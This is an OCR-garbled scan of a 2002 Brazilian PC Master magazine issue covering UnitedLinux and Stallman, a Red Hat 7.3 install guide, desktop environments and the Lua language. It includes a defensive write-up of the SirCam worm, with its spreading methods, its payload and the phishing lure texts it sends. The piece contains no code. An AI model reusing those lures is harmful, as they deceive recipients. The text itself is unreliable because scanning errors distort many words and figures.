o Windows”, disse Stallman, por e-mail,
a PC Master. ‘Desanvolvedores, nao
deixem que licenciem seus programas
por computador, usem a GPL", afirmou
ainde Steliman, gue ferd uma decleragéo
oficigl sobre o UnitedLinux nos
proximos meses. Pare sabeér mais sobre
a5 Iddias de Stallman, acesse
WWw.gnu.org.

0 site UnitedLinux com loi
Ineugurado com depoimentas coa
parceiios na pagng iniclal. Entre eles
gatao AMD, Computor Aggociates, NEG
g muitos outras. O United Linux almieja
principalmente o mercado corporativo,

Stallman raa gostou da idéia dos quatm
pingtiing, © fundader da GNU org/Free
Sottware Foundation, e um dos ativistas
a favor do software |ivre mals
Impertantes e verborragicos do mundo,
fez as primairas criticas realmente
preocupantea ~ para Conectiva e
compantie = ao LnitedLinus,

Stallmen pediu aos desenvolvedores
CUE recUSEm (us SEus DIngramas
constem no distribuigdo. Ele opoe so ao
modelo de licenga do UnitedLinux, a
licenga por computador. Programas que
estio disponivals através da General
Public License ndo podem ser
incorporados em uma distribuicdo que
limite aeu ficenciamenta.

pretende acelerar a adogéo do
Linux nas grandes empresas,

As guatro companhias vao
calabarar no desenvolvimento de
um ambiente aperacional Linux
comum, Cada parceiro vai agregar
seus conhecimentoe, produtos e
servigos ao sistema operacional
UnitedLinux, que sera
comercializado por cada um deles
com suas respectivas marcas,

Devido aos grandes
investimentos reallzadoe para
certificar produtus g servigus e
diferentes distribuigdes Linux,
grandes companhias tém
expressado apoic & UnitedLinux,
Além do proparcionar ds empresas
uma redugéo de custe com
verliflicaggou, a Uniledlinux vai
tarnecer uma platatarma Linux
realmente padranizada — entre
08 quatro companhiag, que
floue bem aexplicadao.

Mercado corporativo

Em 2001, segundo dados do
IDC (nternational Data
Corporation) provenientes de
uma pesquisa realizada com
800 companhias norte-amaricanas
e da Europa Ocidental, 40%
cos entrevistados estavam
usando ou testando Linux em
guas arganizacdos.

Levando em conta esses
namervs, o Uniledlinux chega ao
mercacdo com a idéia de acelerar a
adncan do sistema operacional
nestas companhias, tentando
prover softwares, aplicagdes ¢
hardwares gque pocem sar
empregados em uma verséo
padronizaca do Linux. Hesta saher
se tard bala para. além de tudao

A licenca por computador transforma o
sistema GNU+Linux em algo que respeita
sua liberdade tao pouco quanto o Windows

| PC Masten
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isso, hater de frente com &
adversaria RedHat,

Para isso, um dos pontos fortes
prometidos pelo UnitedLinux & gue
os clientes ulilizem os servigos de
vendas e suporte de forma glabal,
gue seraa oferecides pelas
companhias de forma conjunta.

A colaboragao entre 08 guatro
parceiros am Linux resultara em
uma versao global do sistema,
devido a pessibilidade de ahter
suparte, capacitagéa & serviges
profissionais localmente ¢ na lingua
nativa, sem mencionar o apcio dos
parcelrog estratégicos. Aligs, e
nesse ponlo que as empresas
apostam quase todas as suas
fichas: globalizagac.

& UnitedLinux fornecerd um
unico cédigo-base de Linux para a
linha complela dos produtos
eServer da IBM, para a linha de
pracessadares Athlon de 32-bit da
AMD, e para a futura linha
Opteron de 64-bit. Da mesma
maneira, oferecerd suporte para
a linha x86, 32-bit & para a
familia de processadores [tanium
da gigante Intel

O UnitedLinux suporta os
padroes LSB, Lil8nux, e
GB 18030, assim como permile
realizar instalagdes em inglés,
alemao, francés, italiana,
japanés, careano, portugués,
espanhol & chinés, tanto
simplificado quanto tradicional,

Com a parceria, as sempresas
passarao a lrabalhar de forma
conjunta no processo de pesquisa
e desenvolvimento de Linux. o
que deve aperfeigoar o sistema.

E importante lembrar, claro,
que qualguer software da
comunidade Linux tem esse ponto
forte: a cooperagao entre diferentes
desenvalvedores de diferentes
paises pelo mundo. Com ©
UnitedLinux isso deve se
Intensificar, mas passa lunge de
ser uma exclusividade.

Briga ferrenha
Os quatro parcerios planejlam
oferecer seus produtes e servigos

baseados na UnitedLinux no final
desde 2002 o o grupo esta aberto
para a inclusédo de outras empresas
de sistema Linux.

Pelo que pode ver, essa guerra
promete ir longe. Principalmente
porque, entre os envolvidos,
estdo os principais desenvovedores
Linux do mundo, Stallman e, claro,
a Microsoft,

Fara sabher mais informagoes
sabre o UnitedLinux, acessc
wiwew.unitedlinux.com. PCM

Em urna breve entrevisla, Sandro
Munes. preaidente da Congctiva, conta &
PC Master o gue o projeta Unitedt inux
traré de bom pars & comunidade open
source.- Além disso. fala da concorréncia
gom o Red Hat e ainda comenta as
declaragies de Stallman, que se
posiclonou contra a unido das empresas
para soltar urn novo Linux

Conectiva

'A Conectiva tem dois segmantos
muite fortes de mercado - o doméstico &
o voltado aos servidoras médios. Cem o
Unitedbinug, temos o intuito de oterecer
uma solugaa alterativa voltada a
grandes corporagoes. Ou seja, produtos
com nivel de suporta elevado g
certificagdes altas. O langamento do
UnitedLinux preenche uma lacuna enire
os produtas da Corectiva.”

Licanga
"A licenga para utilizacao do

UnitedLinux seréd 99.9% GPL, O restante,
| carca de 0,01%, serd de agura fomra

techado. |sse ja acontoce com todas as
| distribuigfes Linux: a maior parte &
| desenvolvide sabre GPL e uma minima
parie & poiccada pela enpresa para fechar
o pacote. come trabalhamios juntos
~ Conectiva, Caldera, Suse & Turbol inix
— desenvolveramas um padrao conjunto.”

Red Hat

'Na verdade, nossa intengfn clara
nao & batar de frente com a RedHat. lsso
& uine siluagao gue a imprensa —e o
marcade em geral - criou porgua essas
BMPpresas se uniram para entrar&m um
nichc em que a RedHat & lider absoluia.

F devemos entrar nele para vencer.
REGEE

“A posicao de Stallman nos surpreende”

Entao, & clam, que a Red Hat, de alguma
forma, serd afetada, Mas essando é a
nnssa principal meta; Mesmo porgue,
uma distro de gualquer gua seja a varséo
de Linux ndo pode ser nossa
caoncorrenta. A nosso obietivo &
ahatanhar o mercado da Microsoft." '

Regido

2 gue buscamos na unido de nossas
empresas e atuar por reglbes,
Somaram-s& essas quatro empresas,
cada qual bem forte em ume regiao no
planata, para oferecar o UnitedLinwe com
um suporte global. Menhuma delas iré
atuar em uma regiéo em gue tulra tenha
maior relevéncia, Mas essa uniao ainda
ajuda no fats de que uma empresa que
tenhe atuacao clobal ¢ queira adquirir o
UnitmdLinux terd suporte rapido e Facil
onde guer que estejam suas filiaie.”

Stallman

"Richard Stallman, fundador do
projete GNU, disse prematuramenta
gue o Unitedl inux fere os principios
GPL e, por isso, gue o8
desenvolvedaras néa deveriam
concordar com nossa iniciativa. Acradito
que 0 Stalman teva uma leitura nac
muito clara do que € o UnitadLinux.
mesmo porque ele nao ditere dos
madulog de sistematica do projeto. Em
nada ele se ditere das distribulgdes
Linux que est3o presentes ng mercado,

hMas isso, acredito. &€ mais gqueatao
ga laitura, afinal o UnitedLinux & como
uma aplicagao ja existente, O Stallman
temn esea caracteristica impulsive e
bastante verba!, mas acredito que
guando ele conhecer & fundo o
UnitedLinue mudard de idéia,"

PC Master |
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Virus do més

MusTagha Hadrga Mota

SirCa

Conheca o SirCam, um dos primeiros virus que se tornou capaz de infectar
automaticamente os computadores conectados em uma rede Windows

Por Leandro Calcada

leandro.calcada/@europanet.com br

virug SirCam ganhou fama ha
o poucos meses, por ter explorado
falhas conhecidas na rede
Windows, e estabelecido métodos de
nfergan mais agressivos do que os até
entao conhecidos. Tal comportamento
surpreendeu gerentes de rede. ¢ temou
o SirCam famose mundialmente. Para
manter-se prevenido, conhega agora os
principios de funcionamento desta
praga, e aprenda como se defender.

infeccao

Por ser urm exgcutavel, para infectar
o sistema & preciso execular o arguivo
ou abrir o documento, pois o virus
também aloja-se em outros tipos de
arquives. Para entrar em acio,

Nome do virus: SirCam
Plataforma: Win22,/NT

Descoberto em: 17/01,/2002
Tamanhe: Carce de BOKE
Capacidade de reprodugho: Alta
Risea: Madia

Apelidoa conhecidos:
W32/SirCam.genmhii (Metwork
Aasociates)

WAz BIirCamimMia (MNatwaork Assoclates)
IFWorm/SirCam E (AVG)

Wa2 Sircam Worm@amm (Symantec)

RO SIHEAM.A { lrand)

| PC Masrer

porlanto, o vinus explura o ponlo mais
fraco do sistema-alvo: o usuario. O
usuario & convencido a executar o virus
através de um texto vaniavel, parém
coerante, prasente no corpo do e-mail
infectado (veja guadro Mensagem para
Vooé), ou através de um nome de
arquivo sugestivo, como o nome de um
documento do Word, por exemplo.

Ao ser executado, o virus aloja-se
na pasta Recyoled  gue armazena o8
arquivos da Lixelra e na pasta Temp. De
uma deslas pastas, o SirCam, abre o
documento ao qual estava associado,
aparentando um comportamento
narmal. A partir dai, perém. o virus fica
armazenado na lixelra como Sirc32.exe,
& na pasta System do Windows como
Scam32.exe, e & carregado sempre que
o Windows se inicia.

Distribuicao

Para espalhar-se, o SirCam usa dols
melodos, j@ comuns enbre os virus
daesta classe, O primeiro explora a
Intemet, e o segundo a rede local. Na
Intermet, o virus envia-se por um e-mail,
identificado com o nome do usuério
infectado, para enderegos presentes no
cache e no Catdlogo de Enderecos du
Windows. Muitas vezes o virus
combina-se com documentos ou
imagens da pasta Meus Documentos
do usudrio infectado, enviando também
o documentc ou imagem do usuério,

Na rede local, o SirCam copia-se
automaticamente para todas as pastas

comparltilhadas na Rede Windows. Se o
wirus conseguir acesso ao armuivo
AUTOEXEC.BAT, caso comum entre
usuarios que mantém o drive C
totalmente compartilhade, tentara
allerd-lo para se execular j& na proxima
inicializagao do Windows, infectando-o
sem que ele abra nenhum e-mail
suspeito. Mesmo que nao consiga
alterar o AUTOEXEC.BAT. entretanto.
o virug fica inativo na pasta
compartilhada do usuario, disfargado
como um docurmento qualquer, & espera
de ser executado por engano.

e e
Como se defender

Usudrios de rede Windows, se
infectados, devem desconectar seus
computadores da rede durante o
processo de remogio. pola o virug se
copalhe através da rede. Para ge
defender da ricvas Infacgbes &
necessario rurnuhur lodos os-
compartilbamentos de pestay com
aressn A ascrita; astajam ales com ou
sem senha, pols o SirCam é capez de
instalar se nostas pastas,

Para assequrar a defesa é necessdrlo,
também, manter um antivirus sempre
atualizada em seu computadar e no casa
espacitico do SirCGarm, prestar especial
atengéo & mensagens enviadas por
conhecidos com contetdos
aparentemante estranhos (Vels quadro
Mensagem para Vood, ao lado).




Capacidade de destruicao

Quando ativo, o SirCam monilora a
execugdo de aryuivos .EXE, impedindo a
execugao de alguns, comn o Editar de
Registro (Hegedit exe). Além disso. o
virus localiza arquives na pasta Meus
Documentos com as extensdes .GIF,
JPG, JPEG, .MPEG, .MOV, .MPG,
.PDF, PNG, .PS, e ZIP, e us usa para
anviar-se por e-mail para os enderecos
do cache e da Catalago de Enderegos,
representando um potencial risco para a
privacidade do usudrio.

Uma rotina de exclusau de arquivos
e preenchimento do disco rigido
completa a carga destrutiva. Com o
virus ativo ha uma chance em vinte de,
a cada 1E de outubro, todos oe arguivos
do drive C: serem excluldos. Além
dieso, 0 virus cria um arguivo lexto
chamado Sircam sys na pasta System
do Windows, e o preenche até que nao

haja mais espac¢o em disco. Note que
devido a um bug no gerador de
numeros alealorios, @ possivel que esta
agao destrutiva jamais acontega, ao
menos na versaa ariginal do SirCam.

Como remover

Para remover este virus pode se
usar qualquer versao ztual dos antivirus
mals farmoses do mercado ou tentar a
remogac manual. Em ambos os casos, é
necassario desconectar-se da Internet e
da rede local antes, a fim de evitar
novas Infecgoes,

Uma vez desconectado, taca uma
copia do amuivo Regedit exe para
Reqgedit.com e rode-o. para conseguir
abrir o Editor de Registro. A seguir,
abra a chave HKEY CLASSES
ROOT\exsfile\shell\vpen\command e
subslitua seu valor par "% 1" %*
Depois, apague a chave

HKEY LOCAL MACHINE\Soltware)

SirCam e remova o item Driver32 da
chave HKEY LOCAL_MACHINE\
Software\Microsoft\Windows',
CurrentVersion\RunServices.

Para concluir a remogéo, substitua o
arguivo Rundll32 exe da pasla System do
Windows pelo amguivo do CD de
instalagao, desative a Restauracao do
Sistema para impedir que cOpias antigas
do virus sejam mantidas 14 e apague
todoe os arquivos Scam32.exe e
Sirc32.exe da Lixeira e da pasta System
Recomenda-se, ainda assim, o uso de
algum antivirus para detectar eventuais
documentos infectados. E ndo custa nada
lembrar, & preciso tomar muito cuidado
com 08 e-mails e comn a rede local, para
evilar novas infecces. PEM

Fontea: Meotwork Asgociates (www.nal.com)
Symentec (www.aymentes.com)

| Mensagem para Vocé

EM INGLES
Na Inlelo o cumprimenta: "Hil How ars you?!

"l hope you like the fila that | sende vou" ou

Ao final, a despedida: *See you later Thanks'

Em seguida a mensagem, cujo texto pode veriar entre:
*I send you this file in order to have your advice” ou
*| hape you can help me with this file that | send” ou

‘Hil How are youT This is the file with the information that you ask for'

EM ESPANHOL

Mo Inicio o cumprimanto: "Hola como estas 7"

Em seguida a mensagem, cujo lexto pode variar entre:

“Te mando este archivo para que me des tu punto de vista®
‘Espero me puedas ayudar con el archivo que te mando”
'Espero fe guste este erchivo que te mando’

‘Este es el archivo con {a informacién qua me pediste’

Ao final, a despedida: "Nos vemos prontu, gracias.*

Conheca as mensagens que o SirCam envia para o seu e-mail, em nome de alguém provavelmente conhecido,
para tentar convencé-lo a abrir o arguivo anexo e se infectar. As mensagens podem vir em inglés ou em espanhol.

PC Masten |
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Distribuicéo

Red H

O Red Hat é a distribuicdo Linux mais estavel e
importante do mundo e o principal alternativa oo
sistema operacional da Microsoft. No CD-ROM

a principio, o Linux foi

desta edicdo vocé recebe sua Ultima versao, o 7.3
considerado como um

N sistema operacional

destinado a usudrios de nivel
avancado. Mas a cada dia esta
mals slmples. fe ISAr @ vam se
lornando uma alternativa ano
sistema operacional da
Wicrosoft, E uma das principais
distribuigoes responsavel por
essas facilidades & o Hed Hat,
yue voceé recebe, na versao 7.3,
no CD-ROM desta edigéo.

Esta distribuigdoe fol a
primeira a criar um software que
facilitou a instalagéo deste
sistema operacional. Assim, o
Red Hat Linux tornou-se, com
carteza, a distribuigdo mais
popular. Conforme suas versoes
se sucedem. ele apresenta maior
numero de softwares Gteis e
maior tacilidade de instalagao e
conliguragao,

A Red Hat usa pacoies
padrac RPM — de fato, ela foi a
criadara do padrac HFM. A
administragio do sistema fica
por conta do Linuxconf, uma
poderosa ferramenta que ajuda
principalmente cs
administradores Linux de
primeira viagem, mas pode
ser util tamhém para os
usuarias experientes,

| PE€ Masrer

e —
Antes de Iinstalar

Assim como qualtuer sistema aperacional. ©
Red Hat Linux pode causar parda de dados no
geu disco rigido no momento da instalagao,

Pur esse molive, & allamente recomendéauel
gue vocé faga um backup de todas as
informeagbes imporlantes anles de iniclar qualquer
pracedimento descrito nesta reportagem.




Huslral;éb‘. Rodrigo Mota \”’
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Instalacao

Colegue o CD-ROM em sua

unidade de CD e inicle 0
computador, Aesim que a tels
inicial de instalacao aparecer,
pressione Enter para prosseguir. O
instalador sera carregada e ird
solicitar a lingua em que deverd ser
realizada a instalagio. Selecione
Fortugués, Brasil,

Serd exibido o ferma de

Licenga. Frassione Aceitar para
continuar a instalagéo, Vocé deve
selecionar se deseja reallzar uma
Instalagao ou atualizagéo, Se vocé
esta instalando Linux pela primeira
vaz, escolha as opcbes
Recomendado e [nstalar para que a
instalag@o seja a mais simples.

Serd exibido uma lista com

diversos modelos de teclados.
Selecione o correspandente ao seu
e pressione Ok.

O sistema perguntard se deseja

utilizar 0 espago em disco livie
ou particionar o disco manualmente.
E necessario que vocé tenha uma
partigac livre para realizar a
instalagdo do sistema. Crie pelo
menos uma partigao Linux Nativa
com ponto de montagem / e uma
particao de swap,

Em seguida, vocé deverd criar og

usudrios gue utllizardo o sistema.
E recomendado que o sistema geja
usado normalmente alravés de ums
conta de vsuario sem privilégios de
administradar. Isto evita que
ocorram acidentes no sistema.

Se possuir um dispositivo de

rede, o sistema costuma
detectar automaticamente. Marque
o tipo de rede gue aeu computador
estd conectado.

Iniciar a instalagdo do Red Hat 7.3 em seu computador é muito facil
e as instrugbes padem ser exibidas em portugués. A aagu:r acompanhe
todos oa passos para esclarecer suas duwdﬂs-

Informe o mstema com 08 dacfns

‘de sua rede local. como
enderaco IP, mascara e sarvidor de
nome. Casv ndo saibe eslas
informagdes, consulte seu
administrador de rede.

8. Serd exibido go final deste
processo um rasumo das
configuragoes de alguns
dispositivos que estao conectados
em seu computador.

Serd exibida uma lista de pacotes

gue podem ser inslalados em
sel computador. Selecione os
pacotes que deseja e pressione Ok
para confirmar. Og pacotes serdo
copiados para o disco,

I Durante a instalacéo, o

sistema iré solicitar que o CD
seja substituido. Neste momento
retire 0 CD de sua unidade e cologue
o segundo, pressionando Enter.

' Com todos os arguivos

copiados em seu computador,
o sistema ird realizar as configuragoes
finais do sistema. Serd solicitado que
vocé informe a senha do root, Este é
o usuario administrador do sistena,
digite a senha para ele.

I 2 O sistema ird agora configurar
o servidor X (¢ o modo gréfico

do Linux). O Red Hat Linux tenta

fazer a detecgdo automética da maior

parte dos dispositivos existentes no

mercado brasileire. Caso a sua placa

de video naa seja detectads, clique

em 'Selecionar a placa de video

manualmente’ e escolha o madala

do seu dispositivo.

I Ac final, a mc;!;alagﬁa da seu
Red Hat 7.3 esta cﬂmpleta e
pronta para. ser testada.

Novidades

Uma caracteristica marcanta neste
Linux & a astabilidade. & Red Hat
optou por trabalhar com as versoes
mais estaveis dos aplicativos gue
Integram este pacote, mesmo que elas
nao sejam as mais recentes. Apesar
de adotar esta filosatia, porém, o
programa inclui diversoas aplicativos
novos e atualizados, mantendo a
cstabilidade deste poderoso
sigtema oparacional,

Nesla nova versao do Red Hat
Linux toram teitas atualiragtes nos
aplicativos dispaniveis no sistema
operacional. Entre as principais
novidades estd a nova versio do
KDE 3.0 & do GNOME 1.4 cum
Maulilus File Manager. Além disso,
vale destacar outras caracteristicas
que foram incorporadas, coma:

» Evolution

» GNOME Meeling
* Mozilla Web browser
» Suparte a USB 2.0
* 2.4.18 kernel

~goc 29

* glibc 2,2.4

» XFreeft 4.2.0

» Mozilla 0.9.9

* Openhdotif 2.1.30
* Perl 5.6.1

* Apache 1.3.23 9

Primeiros passos no Linux
Para quem esta tendo o

primeiro contato com o Linux, mas ja

usava o computador, ¢ nccessdrio ge

adaptar a algumas diferengas no

trabalho com o Linux.

7 '

O Evolution & uma solugio completa
para quem quer um organizador pessoal

N v




Entre os vérics navegadores Internet
que vBm no Red Hat astéd o Konqueror

-

v

Algumas tarefas sfo muito
semelhantes aos usados em oulros
sisternas operacionais, coma o
Windaws ou MacOS, No entanto,
cutras podem ser totalmente
diferentes. Ve)a algumas das tarefas
mals simples que podem ser dleis,

Disquete de boot

Caso 0 seu computador néo
pussua bool pele CD- ROM ou por
algum motivo falhe, sera
necessério criar um disquete do
boot para prﬁaaagutr a instalagao.

Para lsso: :

Variﬁq.ue sen mmpulﬁdnr tem
‘sistema Windows ou DOS
ecamﬂdo com o awwh
@0 CD- HGM

Ensrra o CD nimero 1 da PC
‘Master em sua .umde_ul_nia eentre
no d'irﬁ!éﬁo dosutils.

Exocute o programa rawrite. O

w’r'twara solicitard que vocé
Jinforme o local onde se encontra a
“imagem do disquete de boot,
:!ﬂfdrmi! a -éamlnh'd" W

D \lmagea\boot Img

Lagﬂ am aegmc%a, o] alaterna
~ ™® perguntara qual a unidade de
:-dim de disquete. Insira o
“disquete em sua unidade. Informe
por axamp#aﬁ, @ pmslcvna Enter.

Para iniciar o Linux

Quando vocé liga c sau
computador, surge v gerenciador
de boot. Neste momento, vocé
pade escalher entre o Linux ou
Windows. Selecione a opgdo Linux,
¢ o sistema ee Iniclard, Diversas
mensagens 4o apresentadas na
tela, indicando gque alguns
processos e hardwares estao
sendo detectadns e inicializados.
Neste momento, nac é necessario
fazer nada, apenas aguardar o
término do processo, até que
aparega a vpgao login do usuario.

Fazendo Login

A primeira tela apresentada
apds a Inicializagdo do elstema @
do KDM, no qual vocé deve
escolher um gerenciador grafico e
entrar com o login do usuario.
Para se logar como adminiatrador
do sistema use o login root @ a
senha que fol digitada durante a
instalagdo do slstama.

Saindo do Sistema

Apns finalizar o uso do RedHat
Linux 7.3, deve-se sair do sistema.
C modo de salda de um
gerenciador grafico pode variar,
mas normalmente vocé encontra
na mentu de opgoes o item logout.

Apos sair de sua interface
grafica, vocé retornard & tela do
KDM. Pressione o botao Desligar.
Sugirao Lrés vpgdes: Desligar,
Desligar e reiniciar, e Reiniciar o
Servidor X,

Para evitar problemas,
nunca desligue o computador sem
realizar o procedimento deserito
acima, pois isso pode: danifitar os

arquivos que estab SEnda uhfiradas A

pela sistema,
_zando o aletamn

H&‘Hdb pdrh‘ 8 ambleute g-réfloo do :

“Linx, que pode ser o KDES ou'n,

Gname, daperjdmdn da Selecac’
durante o login. Em. ambos. o

- ambiehte ¢ bem semelhantg a0’ -~
. ugado em nutroawa}‘urndm cofi - _
caracter mt:cas Qm- war@mos admnla :

e .% antrar no sisterma, vocé serd’

L

A instalagiio padréo traz diversos
aplicativos, como editor Abiword

1A PC Master \ |
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, i'?\:!qummmdmmgamnmadnmﬂ
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ciadores estéio entre oe mais usados

;mmm mmﬁwﬂémmnﬁ da drea de
'H‘ﬂhﬁb@ﬁﬂpﬂ&rﬁﬂuﬂdﬁm%rﬂm

A RedHat procurcu dar uma aparénda mais. praﬁmionai
& Instalagao do Linux. O KDE é o gerenciador de janelas
pedrao, uma tentativa de oferecer uma érea de trabalho
vidvel e utilizével por todos, lsso ndo significa que o KDE

tenha apenas uma aparéncla padréo. Eiaéumpmgmu
-aéhdaqmmuquuLimpndeFaﬂn il

GNOME

Os icones
colocados
na &rea de
trahalha do

Gnome tém
a8 meamas

fungbes que

no Windows

O menu
principal do
Gnome é

representado
por um pé,
que permite
acessar os
diversos

programas
ingtalados

Os icones da Barra
de Inicializagéo
sao atalhos para
os principais
aplicativos

Atualmente, o GNOME & uma
interface gue estd em grande
desenvolvimento. Existe um grande
numero de pessoas labalhando com
ele, construindo novas aplicagoes e
deixando o seu amhiente cada vez
melhor. Além digso, muitas empresas
estdo apostandc nele por ser de livre
distribuigao, estavel e possuir uma
estética muito boa, Entre suas varias

caracteristicas podemos citar:

= Ambiente de trabalhe que pode
ser facilmente perscnalizado,
utilizado e configurado.

* Grande nimero de
desenvolvedores trabalhando com
a interface, possibilitando um
melhoramento continug,

. E leve, permilindo ser usado mesmo
em computadores mais antigos

O gerenciador
de arquivos
Nautilus pode
ser usado como

navegadar
Internat
samelhante

ao Explorer

Na barra de tarefas
vocé encontra as

aplicagbes que
estéo abertas

Com o grande numero de
desenvolvedores, o Gnome @
considerado uma inlerface gue eslé
em canstante desenvalvimento, com
varias apcoes, tanta para usuarios
leigos como para usuarios que ja
possuem pratica com Interfaces
gréficas. lsso torna este ambiente
uma olima OpGac para os usuarios
menos experientes.



A dltima versdo do KDE pode competir com o Windows Mas o gerenciador de janelas Gnome ndo fica atras. lsso
em guase todos os aspectus, peis combing a facilidade da porque ele estd em constante desenvolvimento, buscando
interface das 4reas de trabalho do Mac OS com o avancado  sempre uma melhor integragéo com o usudrio.
poder de processamento e a funcionalidade sélida do Linux. E a beleza do Linux é que nao é necessdrio ficar preso a
Se existe algo que pode impressionar usudrios de PC e um dnico amblente de trabalho - se achar gue o KDE &

Mac o bastante para migrarem para o Linux, lsso é o KDE. conservador demais, basta experimentar algo como o Gnome.

No KDE
basta um
tnico clique
nos foones
para que a
aplicagio
seja aberta

Através do
menu K voch
terd acesso a
ferramentas
@ programas
do Linux

0O Centro de Controle
é a principal ferramenta
de configuracho do KDE

KDE & um poderosc ambiente grafico
para estagbes Linux e oulros UNIX, Ele
combina facilidade de uso, tuncionalidade e
notével design grafice com & superioridade
tecnolégica desse sistema operacional.

O software é uma suite madura, que
promove uma sdlida base para um ndmero
cada vez maior de aplicagbes e tem
desenvolvido uma estrutura de alta
qualidade para o Linux, ¢ que permite um
répido e eficiente desenvolvimento,

E muito parecido com o
Windows, apesar de ter um logue mais
trabalhado, Um usuario mais desatento

KDE 3

O gerenciador
de arquivos
@ navegador

D KDE permite que

Internet,
Konqueror, é
basedo no
Mozzila

As aplicagbes abertas
slo apresentadas na
Barra de Tarefas

vocé tenha vérios
desktops virtuais

do sislemna de Bill Gates poderia até
passar despercebido, sem saber que
esté frente a uma maguina Linux, desde
gue esto fosse configurada para se
parecer com ele.

Uma das desvanlagens do KDE,
porém, & que ele gasta mais HAM do
que os gerenciadores de janelas
convencionais, como o Gnome, & tem
maior tempo de inicializagdo.

Apesar disso, 0 KDE se encontpa,
bem estavel, islo &, ndo aparenta ter bugs
ou defeitos. [, sem divida, A boa apgao
em Desktop pra Linux:™ PCM




Programagéo

Hustragéo: Rodrigo Mota




A conquista da

Conhega a Lua, uma linguagem de programagéo
desenvolvida por brasileiros. Simples e facil de ufilizar,
ela vem conquistando grande sucesso no mundo todo

a proxima vez que ouvir falar
“ em Lug, presle bastante

atencdo. Pode ser que nao se
trate do satélite natural da Terra, mas
de uma nova linguagem de
programacao, desenvolvida por
brasileiros da FUC-Ric. Ela vem
vonguistando espaco no munda todo,
senda usada para diversas

tinalidades, como criagan de jogos,
sistemas embutidos, rohbs e
aplicativos para Internet, entre outras,
Atualmente sdo mals de mil projetos
sendo desenvelvidoe nesta linguagem.
O nome Lug, tem uma origem
bastante insdlita: o projeto inicial
seria muito maior do gque é hoje,
e foi batizada como Sal (Simple
Object Language), Mas logo em
sequida a idéia fol alterada e
reduzida, surgindo a Lua - bem
menor que o Sol
A idéia principal da linguagem
Lua ¢ ser extremamente flexivel e
simples, mesmo gue iss0
signifique uma gueda de
eficdcia na execugao
Sendo assim, & mais
facil de programar, com
a vantagem de Integrar
com outras
linguagens, como
a G, Quando &
necessaria uma
maior eficiéneia,
pode-se usar o C,
por exemplo, Mas,
para uma maior
Hexibilidade,
a ideal e
usar a Lua.
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Programacao

Como funciona

A linguagem Lua tem o codigo
aberto, mas nan & haseada nos
termos de licenga GPL, permitinda
assim que as aplicagdes

Como surgiu a Lua

A Patrobras, parceira do TeCGraf,
que é o Grupo de Tecnologia em
Computagan Grifica da PUC-AJ,
formado pelos profecsores Aoberto
lerusalimschy, Waldemar Ceales & Lijiz
Henrlque da Flguelredo, necessitave
tregar um perfil de um pogo de petrélec.
Durante uma perfuragéo, junte com a
broca, vérios sensores descem em
conjunto, para qua os gedlogos
aeompanhem ¢ processo, Estes
sensores racebam as informagbes &
medida que o pogo @ perfurada,

Essas infonmagies sdo colocaidas em
um grafice na tela de computador, com
dadms diversos, coma tempesatura,
condutividade do material naqucla
profundidacde, resisténecia, pressao. Os
programas coletam eatas informagoes e
as manipulam pare yue o grafico seja
montado, Mas existem vanag fatores
complexos de configuragao gue o
geologo pode desejar visualizar. Ag
vezes, ele quer ver uma colina do
lado da outra; cutras, quer verifizar
outm tipo de informacac, mudar a cor o
a escala. E isso & muito complicado da
se fazer trabalhando apenas numa unica
Interface gréfica, porque nela sempra
fica faltandc alguma coisa.

Entao, quanda o gedlogo
neceasitava de mais comandos. era
ubrigado a contatar os
desenvalvedores da aplicagio para que
o soflware fosse altersdo ou para que
fosse ariado um novo programa,
enviando em sequida para & plataforma,
Desta forme fol criedo o Lus. pars
colocar um final para esse problama,
Com esta linguagem, alguém que tenha
urna pequena fonmacio Wenice pode
fazer, ele masmo, easa configuragao.

A linguagem & simples o sulicente
para que a peseoa passa modificar o
adapiar A= suas riscessidades, Assim, o
programa & um pouso em C, que cria a
parte grafica, & um poics em | ua, gue
na pode estar gravada em um arguivo
texta, encamegado de dizer para o

" A

coma as informagdes slo apresentadas.

| P€ Masrer

desenvolvidas por esta linguagem
scjam empacotadas e
comerclalizadag, sem a
necessidade de distribuir o

codigo-fonte, como acontece na GPL.

A Lua &, na realidade, um
conjunto de bibliotecas que &
utilizado juntamente com outras
linguagens de desenvolvimento,
sendo possivel integra-la, por
exemplo, com o C e Visual Basic,
entre outros.

Os programas criados em Lua
540 sempre exccutados por um
software anfitriao, desenvalvido em
gualguer linguagem. Um conjunto de
fungoes adicionadas & biblioteca
define como se faz esta conexan
entre a3 linguagens, permitindo ao
programa anfitrido executar
comandos Lua e disponibilizar
fungbes para uso,

A Lua pode ou nan ser
compilada e seu codigo pode ser
gravado em arquivos cxternos ao
codigo com extensdo lua, Quando
necessario, o programa principal faz
a chamada ao cddigo extermo,
interpretando o conteddo. O cadigo
Lua tamhém pade ser inserido na
pregrama principal. sendo assim
compllade em um Unico executdvel,

Mo site do projeto Lua
fwww.lua.org) vocé encontra para
download o cadiga-fonte da software
& @ versao binarie para sistemas
Unix, Incluindo Linux. e Windows,
com biblictecas para C,
DLLs e Visual C, entre

A programacao

Todos vs comandos e
construgoes de Lua sao executados
em um linico amhbiente. Fste
ambiente, que guarda todaa as
variaveis globais e definigbes de
fungbes, & automaticamente
inicializado quando o inlerprelador é
ativado e dura enguantc ele estiver
M execuGan.

O ambiente global de Lua pode
ser manipulado por codigos ascritos
nessa linguagem ou por bibliotecas C
gue ulilizemn lungdes da inlerface
C-Lua. Cdadigos Lua séo compostos
par comandes glohais e definighes de
fungdes. Um mddulo Lua é um
arquivo ou uma cadela de caracteres
contendo codigos Lua. Quando se
carrega um modulo Lua, os codigos
san compilados para uma linguagem
de maquina interna, para serem
executados depols,

Os codigos globais que nao estao
dentro de fungbes, séo
automaticamente executados ao fim
da compilagao do modulo. Os
codigos de funcoes sao
armazenados ¢ excoutados na
chamada dae reepectivas fungdes.
Em vutras palavras, esta linguagerm
de programacao utiliza compilagao
e interpretacao.

Pode-se carregar diversos
madulos Inicialmente
independentes. Todos, no entanto,
sao carregados dentro do dnico

outras. Voce encontra
também links para
autros sigtemas
operaclonals, como
Macintosh, RISC,
BeOS e Palm.

Quandeo vocé faz o
downlaad do pacote,
encontra as bibliotecas
para serem usadas em
C, juntamente com um
interpretador simples
para testes & um
pequenc compiladaor
que faz uma
pré-compilagio dos
coOdigos Lua. .

O jogo Grim Fandange foi uma das aplicagdes que
utilizou a linguagem Lua no seu desenvolvimento




ambiente global de Lua, Portanto,
d L}ldEI'TI Com que se carrefa
diverans madulos & importante,
tendo em vista gue os comandos
globais de cada modulo sao
exscutados Imediztamenle apos
sus compilagao.

Exemplo de programa Lua
